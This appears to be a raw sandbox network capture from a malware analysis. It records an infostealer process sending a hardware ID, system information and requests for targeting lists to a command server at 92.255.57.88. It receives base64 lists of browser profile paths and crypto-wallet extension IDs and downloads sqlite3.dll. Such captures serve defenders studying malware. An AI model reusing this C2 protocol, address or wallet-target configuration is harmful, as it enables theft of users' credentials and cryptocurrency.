Nov 26, 2024 00:07:20.404191971 CET	1236	IN	Data Raw: f5 10 b1 3f 99 98 3b 0a 39 b1 b3 bf 00 a6 e3 2f 49 e4 aa 3f 68 4b 14 04 17 1c ae bf be 1a 89 64 a1 1f a5 3f 38 31 d5 55 1d 17 a8 bf a2 a2 1c 48 21 47 97 3f cb f2 88 23 ce 24 a1 bf a5 b8 e0 30 7c 10 66 3f bd 4b b1 52 56 6e 86 bf eb 54 55 55 55 55 Data Ascii: ?;9/I?hKd?81UH!G?#$0\|f?KRVnTUUUU?~I$I?gHB;E?q{?x? @ @??@>1\|MC
Nov 26, 2024 00:07:20.404202938 CET	1236	IN	Data Raw: 00 00 00 00 00 00 cc 3f 00 00 00 f8 75 5b cf 3f 8f db 2a d6 0d c8 02 3e 00 00 00 00 00 00 d0 3f 00 00 00 a0 f5 8b d1 3f 47 ca 30 c1 8b 5f 28 3e 00 00 00 00 00 00 d2 3f 00 00 00 34 77 62 d3 3f ac c5 69 5e 5e 3f 28 3e 00 00 00 00 00 00 d4 3f 00 00 Data Ascii: ?u[?>??G0_(>?4wb?i^^?(>?0?p3>?@?FM>?8M?BV>?d?}Ba.>??d>?g?>?@?f\>
Nov 26, 2024 00:07:20.404215097 CET	1236	IN	Data Raw: 65 2e f1 3f ef 49 1b 64 57 95 41 3e 00 00 00 00 00 80 fd 3f 00 00 00 d4 1d 4b f1 3f a9 d2 de 0e ce 90 3f 3e 00 00 00 00 00 00 fe 3f 00 00 00 58 19 67 f1 3f 94 b5 34 2a 93 01 41 3e 00 00 00 00 00 80 fe 3f 00 00 00 04 5f 82 f1 3f 82 5b cd c7 86 01 Data Ascii: e.?IdWA>?K??>?Xg?4A>?_?[J>??10H>??hc#]G>@,?QxF>@@p?ekR.N>@?n@>@b?O>@$Q/
Nov 26, 2024 00:07:20.404227018 CET	1236	IN	Data Raw: 00 00 00 00 00 80 0b 40 00 00 00 58 53 a4 f4 3f 78 28 33 fd 9b 75 38 3e 00 00 00 00 00 c0 0b 40 00 00 00 fc 10 ae f4 3f 76 c1 4f 2c 69 62 19 3e 00 00 00 00 00 00 0c 40 00 00 00 c8 a5 b7 f4 3f 1b fe 26 4c cd 92 43 3e 00 00 00 00 00 40 0c 40 00 00 Data Ascii: @XS?x(3u8>@?vO,ib>@?&LC>@@?}L>@X?Lo>@x?-9>@s?6FID?9>@@8J?gsL>@d?y>@?>&09C>
Nov 26, 2024 00:07:20.524235010 CET	1236	IN	Data Raw: 2d 03 f6 3f c3 ae de 5c 1f b3 3d 3e 00 00 00 00 00 40 14 40 00 00 00 08 f5 07 f6 3f 05 cb fd ca 5c 3d fa 3d 00 00 00 00 00 60 14 40 00 00 00 f0 ad 0c f6 3f 1c 07 6a 5c 26 22 0f 3e 00 00 00 00 00 80 14 40 00 00 00 b8 58 11 f6 3f be 0c f9 31 d2 44 Data Ascii: -?\=>@@?\==`@?j\&">@X?1D>>@?#O#`I>@?}0>@?F\IE>@t{#?,B> @0'?E ]$>@@,>,??5>`@0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49734	92.255.57.88	80	7684	C:\Users\user\AppData\Local\Temp\795F.tmp.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 00:07:23.454893112 CET	87	OUT	GET / HTTP/1.1 Host: 92.255.57.88 Connection: Keep-Alive Cache-Control: no-cache
Nov 26, 2024 00:07:24.843954086 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:07:24 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 26, 2024 00:07:24.887193918 CET	415	OUT	POST /7bbacc20a3bd2eb5.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKJEHJKJEBGHJJKEBGIE Host: 92.255.57.88 Content-Length: 216 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 34 37 41 41 38 33 37 43 41 30 43 33 38 38 36 35 38 32 35 34 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 35 35 31 34 38 38 34 31 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 2d 2d 0d 0a Data Ascii: ------JKJEHJKJEBGHJJKEBGIEContent-Disposition: form-data; name="hwid"A47AA837CA0C3886582548------JKJEHJKJEBGHJJKEBGIEContent-Disposition: form-data; name="build"551488411------JKJEHJKJEBGHJJKEBGIE--
Nov 26, 2024 00:07:25.341356993 CET	407	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:07:25 GMT Server: Apache/2.4.58 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4f 54 56 68 5a 47 55 31 5a 44 68 6b 5a 47 4d 79 4d 6a 52 6c 4e 54 55 33 4d 54 45 32 4d 7a 4a 6a 4d 47 52 6c 4f 47 52 6a 4f 44 68 69 5a 6a 6b 31 4d 6d 51 35 5a 6d 51 7a 4f 57 49 34 4d 54 41 30 4f 44 55 32 4e 32 55 7a 4e 6a 5a 6a 5a 6a 51 30 4d 6a 55 31 59 6a 59 33 4f 44 59 32 59 7a 41 7a 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 46 38 4d 48 77 78 66 44 42 38 4d 48 77 77 66 44 42 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: OTVhZGU1ZDhkZGMyMjRlNTU3MTE2MzJjMGRlOGRjODhiZjk1MmQ5ZmQzOWI4MTA0ODU2N2UzNjZjZjQ0MjU1YjY3ODY2YzAzfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDF8MHwxfDB8MHwwfDB8MXwwfHlibmNiaHlsZXBtZXw=
Nov 26, 2024 00:07:25.361371994 CET	467	OUT	POST /7bbacc20a3bd2eb5.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJJEBGDAFHJEBGDGIJD Host: 92.255.57.88 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 35 61 64 65 35 64 38 64 64 63 32 32 34 65 35 35 37 31 31 36 33 32 63 30 64 65 38 64 63 38 38 62 66 39 35 32 64 39 66 64 33 39 62 38 31 30 34 38 35 36 37 65 33 36 36 63 66 34 34 32 35 35 62 36 37 38 36 36 63 30 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 2d 2d 0d 0a Data Ascii: ------JJJJEBGDAFHJEBGDGIJDContent-Disposition: form-data; name="token"95ade5d8ddc224e55711632c0de8dc88bf952d9fd39b81048567e366cf44255b67866c03------JJJJEBGDAFHJEBGDGIJDContent-Disposition: form-data; name="message"browsers------JJJJEBGDAFHJEBGDGIJD--
Nov 26, 2024 00:07:25.812637091 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:07:25 GMT Server: Apache/2.4.58 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 26, 2024 00:07:25.812650919 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 26, 2024 00:07:25.816116095 CET	466	OUT	POST /7bbacc20a3bd2eb5.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHIEBKKFHIEGCAKECGHJ Host: 92.255.57.88 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 35 61 64 65 35 64 38 64 64 63 32 32 34 65 35 35 37 31 31 36 33 32 63 30 64 65 38 64 63 38 38 62 66 39 35 32 64 39 66 64 33 39 62 38 31 30 34 38 35 36 37 65 33 36 36 63 66 34 34 32 35 35 62 36 37 38 36 36 63 30 33 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 4a 2d 2d 0d 0a Data Ascii: ------FHIEBKKFHIEGCAKECGHJContent-Disposition: form-data; name="token"95ade5d8ddc224e55711632c0de8dc88bf952d9fd39b81048567e366cf44255b67866c03------FHIEBKKFHIEGCAKECGHJContent-Disposition: form-data; name="message"plugins------FHIEBKKFHIEGCAKECGHJ--
Nov 26, 2024 00:07:26.266336918 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:07:26 GMT Server: Apache/2.4.58 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 26, 2024 00:07:26.266355991 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 26, 2024 00:07:26.266365051 CET	448	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 26, 2024 00:07:26.266448975 CET	1236	IN	Data Raw: 62 32 4a 35 66 47 70 75 61 32 56 73 5a 6d 46 75 61 6d 74 6c 59 57 52 76 62 6d 56 6a 59 57 4a 6c 61 47 46 73 62 57 4a 6e 63 47 5a 76 5a 47 70 74 66 44 46 38 4d 48 77 77 66 46 4a 76 62 6d 6c 75 49 46 64 68 62 47 78 6c 64 48 78 72 61 6d 31 76 62 32 Data Ascii: b2J5fGpua2VsZmFuamtlYWRvbmVjYWJlaGFsbWJncGZvZGptfDF8MHwwfFJvbmluIFdhbGxldHxram1vb2hsZ29rY2NvZGljampmZWJmb21sYmxqZ2Zoa3wxfDB8MHxCeW9uZXxubGdiaGRmZ2RoZ2JpYW1mZGZtYmlrY2RnaGlkb2FkZHwxfDB8MHxPbmVLZXl8am5tYm9iam1obG5nb2VmYWlvamZsamNraWxoaGxoY2p8MXw
Nov 26, 2024 00:07:26.266460896 CET	1236	IN	Data Raw: 66 45 46 31 64 47 68 6c 62 6e 52 70 59 32 46 30 62 33 4a 38 59 6d 68 6e 61 47 39 68 62 57 46 77 59 32 52 77 59 6d 39 6f 63 47 68 70 5a 32 39 76 62 32 46 6b 5a 47 6c 75 63 47 74 69 59 57 6c 38 4d 58 77 77 66 44 42 38 51 58 56 30 61 48 6c 38 5a 32 Data Ascii: fEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGhpZ29vb2FkZGlucGtiYWl8MXwwfDB8QXV0aHl8Z2FlZG1qZGZtbWFoaGJqZWZjYmdhb2xoaGFubGFvbGJ8MXwwfDB8RU9TIEF1dGhlbnRpY2F0b3J8b2VsamRsZHBubWRiY2hvbmllbGlkZ29iZGRmZmZsYWx8MXwwfDB8R0F1dGggQXV0aGVudGljYXRvcnxpbGdjbmh
Nov 26, 2024 00:07:26.266477108 CET	1236	IN	Data Raw: 61 6d 6c 72 59 57 70 6f 5a 6d 4a 76 62 57 68 73 62 57 31 76 62 47 78 77 61 47 4e 68 5a 48 77 78 66 44 42 38 4d 48 78 53 59 57 6c 75 59 6d 39 33 49 46 64 68 62 47 78 6c 64 48 78 76 63 47 5a 6e 5a 57 78 74 59 32 31 69 61 57 46 71 59 57 31 6c 63 47 Data Ascii: amlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx5IFdhbGxldHxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5hbGtmYXwxfDB8MHxFY3RvIFdhbGxldHxiZ2pvZ3BvaWRlamRlbWdvb2NocG5rbWRqcG9jZ2toYXw
Nov 26, 2024 00:07:26.266486883 CET	716	IN	Data Raw: 61 48 4a 76 62 57 6c 31 62 58 78 6a 61 57 39 71 62 32 4e 77 61 32 4e 73 5a 6d 5a 73 62 32 31 69 59 6d 4e 6d 61 57 64 6a 61 57 70 71 59 32 4a 72 62 57 68 68 5a 6e 77 78 66 44 42 38 4d 48 78 4e 59 57 64 70 59 79 42 46 5a 47 56 75 49 46 64 68 62 47 Data Ascii: aHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWpqY2JrbWhhZnwxfDB8MHxNYWdpYyBFZGVuIFdhbGxldHxta3BlZ2prYmxra2VmYWNmbm1rYWpjam1hYmlqaGNsZ3wxfDB8MHxCYWNrcGFjayBXYWxsZXR8YWZsa21maGViZWRiamlvaXBnbGdjYmNtbmJwZ2xpb2Z8MXwwfDB8VG9ua2VlcGVyIFdhbGxldHxvbWFhYmJ
Nov 26, 2024 00:07:26.268222094 CET	467	OUT	POST /7bbacc20a3bd2eb5.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBGHCGCAEBFIJKFIDBGH Host: 92.255.57.88 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 47 48 43 47 43 41 45 42 46 49 4a 4b 46 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 35 61 64 65 35 64 38 64 64 63 32 32 34 65 35 35 37 31 31 36 33 32 63 30 64 65 38 64 63 38 38 62 66 39 35 32 64 39 66 64 33 39 62 38 31 30 34 38 35 36 37 65 33 36 36 63 66 34 34 32 35 35 62 36 37 38 36 36 63 30 33 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 48 43 47 43 41 45 42 46 49 4a 4b 46 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 48 43 47 43 41 45 42 46 49 4a 4b 46 49 44 42 47 48 2d 2d 0d 0a Data Ascii: ------FBGHCGCAEBFIJKFIDBGHContent-Disposition: form-data; name="token"95ade5d8ddc224e55711632c0de8dc88bf952d9fd39b81048567e366cf44255b67866c03------FBGHCGCAEBFIJKFIDBGHContent-Disposition: form-data; name="message"fplugins------FBGHCGCAEBFIJKFIDBGH--
Nov 26, 2024 00:07:26.718987942 CET	335	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:07:26 GMT Server: Apache/2.4.58 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 26, 2024 00:07:26.743541956 CET	200	OUT	POST /7bbacc20a3bd2eb5.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJKKKFCFHCFIECBGDHID Host: 92.255.57.88 Content-Length: 7059 Connection: Keep-Alive Cache-Control: no-cache
Nov 26, 2024 00:07:26.743629932 CET	7059	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 35 61 64 65 35 Data Ascii: ------IJKKKFCFHCFIECBGDHIDContent-Disposition: form-data; name="token"95ade5d8ddc224e55711632c0de8dc88bf952d9fd39b81048567e366cf44255b67866c03------IJKKKFCFHCFIECBGDHIDContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 26, 2024 00:07:27.331147909 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:07:27 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 26, 2024 00:07:27.332281113 CET	91	OUT	GET /7550b1c08332241a/sqlite3.dll HTTP/1.1 Host: 92.255.57.88 Cache-Control: no-cache
Nov 26, 2024 00:07:27.780994892 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:07:27 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 